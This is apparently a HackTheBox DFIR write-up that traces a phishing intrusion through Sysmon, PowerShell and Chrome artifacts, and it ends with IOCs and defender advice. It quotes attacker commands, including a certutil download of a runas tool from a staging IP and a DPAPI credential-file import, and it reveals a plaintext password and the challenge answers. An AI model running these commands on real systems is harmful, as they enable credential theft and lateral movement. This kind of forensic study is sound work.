// HackTheBox  ·  writeup

ShadowBait

HackTheBox Easy EvtxECmdPythongrepLECmd
DFIR

Scenario

This Sherlock provides players with an opportunity to analyze Kape Image and find evidence of intrusion via phishing, remote access via persistence mechanisms, and abusing Windows DPAPI to escalate privileges and acquire elevated access.

Executive Summary

A macro-enabled document pulled from a cloud file-sharing link landed in a user’s Downloads folder and was opened. Its macro dropped a PowerShell stager, which fetched a backdoor into the user’s roaming profile and beaconed out to the attacker. From the user’s shell the attacker found an exported PowerShell credential file belonging to a second account, imported it to recover that account’s secret, and pulled a runas-style tool from an internal staging server to get a shell as that second user. A privilege script then led to an elevated shell, obtained by spoofing the parent of a new process to a SYSTEM-owned one and calling back on a second port. Persistence was layered with a scheduled task and a Run key for a backdoor disguised as a PDF, plus a startup shortcut written by a VBScript.

Artifacts

Timestamp note: EvtxECmd leaves the event data as raw JSON in the payload columns. Flatten it first (a short Python script worked) or the Sysmon fields are painful to filter.

Initial Access

Q1 — What is the name of the malicious document used in phishing, which facilitated initial access for the attacker?

Parse the event logs, then search the flattened Sysmon output for Office-style file names. Sysmon Event ID 15 (FileCreateStreamHash) records the Zone.Identifier stream written when Chrome saved a document into steven\Downloads. That mark-of-the-web entry is the browser download of the macro document.

EvtxECmd -d logs --csv work/evtx
grep -i 'Zone.Identifier' work/sysmon.tsv | grep -i 'Downloads'
Click flag to reveal Policy.docm
Q2 — What was the full link from which the malicious document was downloaded?

The Zone.Identifier stream from Q1 carries a HostUrl, but that is the redirect endpoint, not the link the browser requested. The Chrome History database holds the real chain: the downloads_url_chains table lists the URL the download was started from. Query it with SQLite, or load it in SQLECmd.

sqlite3 History "select tab_url, url from downloads_url_chains"

Gotcha: The format hint says URL and the HostUrl in Zone.Identifier looks like one, but it points to a download?id= endpoint. The answer is the uc?id= link in the Chrome download chain.

Click to reveal answer https://drive.usercontent.google.com/uc?id=1Y6XAccvtdWvXUGx8WU0qG-7EP781c0uD&export=download

Execution

Q3 — The document downloaded a script, which acted as a stager and downloaded another payload, providing the attacker with hands-on remote access. When was this script downloaded?

Look for Sysmon Event ID 11 (FileCreate) where the creating process is powershell.exe. The script downloader.ps1 is created by PowerShell shortly after the document is opened, and the event timestamp is the answer.

grep -i 'downloader.ps1' work/sysmon.tsv
Click flag to reveal 2025-06-07 05:42:11
Q4 — What is the full path of the final payload which provided remote access to the attacker?

Follow the stager from Q3. Sysmon Event ID 11 and the PowerShell 4104 script blocks show it writing an executable into the user’s roaming profile, which is the backdoor.

grep -i 'FileCreate' work/sysmon.tsv | grep -i 'AppData\\Roaming'
Click to reveal answer C:\Users\steven\AppData\Roaming\opendll.exe

Command and Control

Q5 — Which port was used for C2 communication by the payload?

Pivot on the image from Q4. Sysmon Event ID 3 (NetworkConnect) from that executable shows the outbound connection and its destination port.

grep -i 'opendll.exe' work/sysmon.tsv | grep -i 'NetworkConnect'
Click flag to reveal 8899

Credential Access

Q6 — The threat actor utilized a file created and used by Steven even before the attack. This file allowed the attacker to authenticate as user "Samy", abusing DPAPI to grab credentials of another user on the same machine. What is the full path of this file?

Steven’s three ConsoleHost_history.txt files predate the intrusion and show a legitimate admin habit: a credential for the other account was saved with Export-Clixml. Export-Clixml protects the secret with DPAPI, which is why it can be recovered later by the account that wrote it. The path it was written to is the answer.

cat ConsoleHost_history*.txt | grep -i 'Export-Clixml'
Click to reveal answer C:\Users\samy\Documents\connection.xml
Q7 — What is the full command used to grab credentials from the "Samy" account?

Search PowerShell 4104 script blocks from the parsed EvtxECmd CSV in the window after the beacon starts. At 05:48:31 the attacker imports the file from Q6 into a $cred variable, which decrypts the stored secret in the context that can read it.

grep -i 'Import-CliXml' work/evtx/*PowerShell*.csv

Tip: The format mask shows the shape of the answer ($**** = ******-****** -**** **********.***), so the relative path connection.xml is expected, not the full path from Q6.

Click flag to reveal $cred = Import-CliXml -Path connection.xml

Lateral Movement

Q8 — The attacker downloaded a tool from their internal staging server to laterally move and gain remote access as "Samy" user account. What is the full command used to download the tool?

Sysmon Event ID 1 (ProcessCreate) records the full CommandLine. The attacker used certutil.exe with -urlcache -f against an internal address to fetch a runas-style tool.

grep -i 'certutil' work/sysmon.tsv | grep -i 'urlcache'
Click to reveal answer "C:\Windows\System32\certutil.exe" -urlcache -f http://192.168.204.152/RunasCs.exe RunasCs.exe
Q9 — What is the password for the user account "Samy", used by the attacker to gain a remote shell?

From Q8 we know the tool is RunasCs.exe, which takes the account name and password as arguments. The Sysmon Event ID 1 record for its execution holds them in the command line, so the password is recovered without touching the DPAPI blob.

grep -i 'RunasCs.exe' work/sysmon.tsv | grep -i 'ProcessCreate'
Click flag to reveal Winter2025!

Discovery

Q10 — After gaining access as Samy, the attacker downloaded a script to check privileges for the account. What is the name of the script?

Review the certutil downloads made as the second account after the shell lands. This answer was reasoned rather than read straight from an artifact: no obvious enumeration script (a PowerUp or WinPEAS style name) turned up in the triage, and psgetsys.ps1 was the best fit among the scripts fetched that way. The platform accepted it.

grep -i 'certutil' work/sysmon.tsv | grep -i '\.ps1'
Click to reveal answer psgetsys.ps1

Privilege Escalation

Q11 — The attacker exploited a Windows process to gain an elevated remote shell. What is the PID of this process?

The 4104 script blocks show the psgetsys technique calling ImpersonateFromParentPid with a -ppid argument. That is parent PID spoofing: the new process is created as a child of a SYSTEM-owned process, and it inherits that token. The PID passed belongs to winlogon.exe.

grep -i 'ImpersonateFromParentPid' work/evtx/*PowerShell*.csv
Click flag to reveal 632
Q12 — Which port was used for remote access with escalated privileges?

The elevated shell was started with an encoded reverse-shell command. Decode the base64 from the script block or process command line and read the port out of the socket connection, then confirm it with the matching Sysmon Event ID 3.

import base64
print(base64.b64decode(open("work/revshell.b64").read()).decode("utf-16le"))
Click to reveal answer 9006

Persistence

Q13 — The attacker enabled persistence mechanisms for a backdoor executable. What is the full path of the file?

Two persistence mechanisms point at the same file: a scheduled task created with schtasks named CheckSystem, and a Run key value named WMISVC. Both execute a backdoor that poses as a PDF through a double extension, placed in System32.

grep -iE 'schtasks|CurrentVersion\\Run' work/sysmon.tsv
Click flag to reveal C:\Windows\system32\document.pdf.exe
Q14 — The attacker also abused Windows shortcuts and placed a rogue shortcut file pointing to the malicious backdoor. What is the shortcut file name?

Sysmon Event ID 11 shows cscript.exe creating an LNK inside the second user’s Startup folder, which runs at each logon. The name comes from that file-create event. LECmd was run on the LNK, but its target was not confirmed in the triage, so the link to the Q13 backdoor rests on the file’s location and creator.

grep -i 'Startup' work/sysmon.tsv | grep -i '\.lnk'
Click to reveal answer NetworkDiagnostics.lnk
Q15 — What is the full path of the script that created the shortcut persistence?

From Q14, the process creating the LNK is cscript.exe. Its Sysmon Event ID 1 command line gives the script it was running, which is the VBScript that wrote the shortcut.

grep -i 'cscript' work/sysmon.tsv | grep -i 'ProcessCreate'
Click flag to reveal C:\programdata\wscript.vbs

Attack Summary

PhaseAction
Initial AccessMacro document downloaded through Chrome from a cloud file link
ExecutionMacro runs PowerShell, which writes a stager script
Command and ControlStager drops a backdoor in the roaming profile; it beacons out
Credential AccessAttacker imports a DPAPI-protected credential file belonging to a second user
Lateral Movementcertutil fetches a runas-style tool from an internal staging server; shell as the second user
DiscoveryA script is downloaded under the second account
Privilege EscalationParent PID spoofing from a SYSTEM-owned process gives an elevated reverse shell on a second port
PersistenceScheduled task and Run key for a PDF-named backdoor
PersistenceVBScript run by cscript writes a Startup shortcut

IOCs

TypeValue
File (phishing)Policy.docm
URLhxxps[://]drive[.]usercontent[.]google[.]com/uc?id=1Y6XAccvtdWvXUGx8WU0qG-7EP781c0uD&export=download
File (stager)downloader.ps1
File (backdoor)C:\Users\steven\AppData\Roaming\opendll.exe
Port (C2)8899
Port (elevated shell)9006
File (credential store)C:\Users\samy\Documents\connection.xml
IP (staging)192[.]168[.]204[.]152
File (tool)RunasCs.exe
CredentialWinter2025! (samy)
File (script)psgetsys.ps1
File (persistence)C:\Windows\system32\document.pdf.exe
Scheduled taskCheckSystem
Run key valueWMISVC
File (shortcut)NetworkDiagnostics.lnk
File (script)C:\programdata\wscript.vbs

MITRE ATT&CK

TechniqueIDDescription
Phishing: Spearphishing LinkT1566.002Document delivered through a download link
User Execution: Malicious FileT1204.002Macro-enabled document opened by the user
Command and Scripting Interpreter: PowerShellT1059.001Stager script and credential import
Ingress Tool TransferT1105Backdoor, RunasCs and script downloads, including certutil
Credentials from Password StoresT1555DPAPI-protected Export-Clixml file imported
Valid Accounts: Local AccountsT1078.003Shell as the second user with a known password
Access Token Manipulation: Parent PID SpoofingT1134.004Elevated shell spawned under a SYSTEM process
Scheduled Task/Job: Scheduled TaskT1053.005CheckSystem task for the backdoor
Boot or Logon Autostart: Registry Run KeysT1547.001WMISVC Run key value
Boot or Logon Autostart: Shortcut ModificationT1547.009Startup LNK written by a VBScript
Masquerading: Double File ExtensionT1036.007Backdoor named like a PDF

Defender Takeaways

Macro documents from the internet should never run. The document arrived with a mark-of-the-web stream and still executed PowerShell. Block macros in files from the internet through policy, and alert on Office applications spawning powershell.exe.

Export-Clixml credentials are only as safe as the account that reads them. DPAPI protection means nothing once an attacker runs code as the same user. Stop saving credentials to files for convenience, and treat a process importing such a file outside normal admin activity as a credential-theft signal.

certutil -urlcache and plaintext passwords in command lines are cheap detections. Sysmon Event ID 1 captured both the staging download and the password passed to the runas tool. Alert on certutil fetching over HTTP, and on credentials appearing in process arguments.

Parent PID spoofing is visible in PowerShell logs. Script block logging recorded the ImpersonateFromParentPid call and the spoofed PID. Keep 4104 logging on and hunt for process-creation events whose parent does not match the creating process.

Persistence was layered, so remove all of it. A task, a Run key and a Startup shortcut all pointed at one backdoor. Sweep every autostart location for a known-bad file, not just the first hit, and flag executables with document-style double extensions in System32.

Conclusion

The attacker went from one opened document to an elevated shell and three persistence mechanisms using a credential file the victim had saved themselves and built-in Windows tooling. Script block logging and Sysmon process creation recorded every step; the detection value was in the chain, not any single event.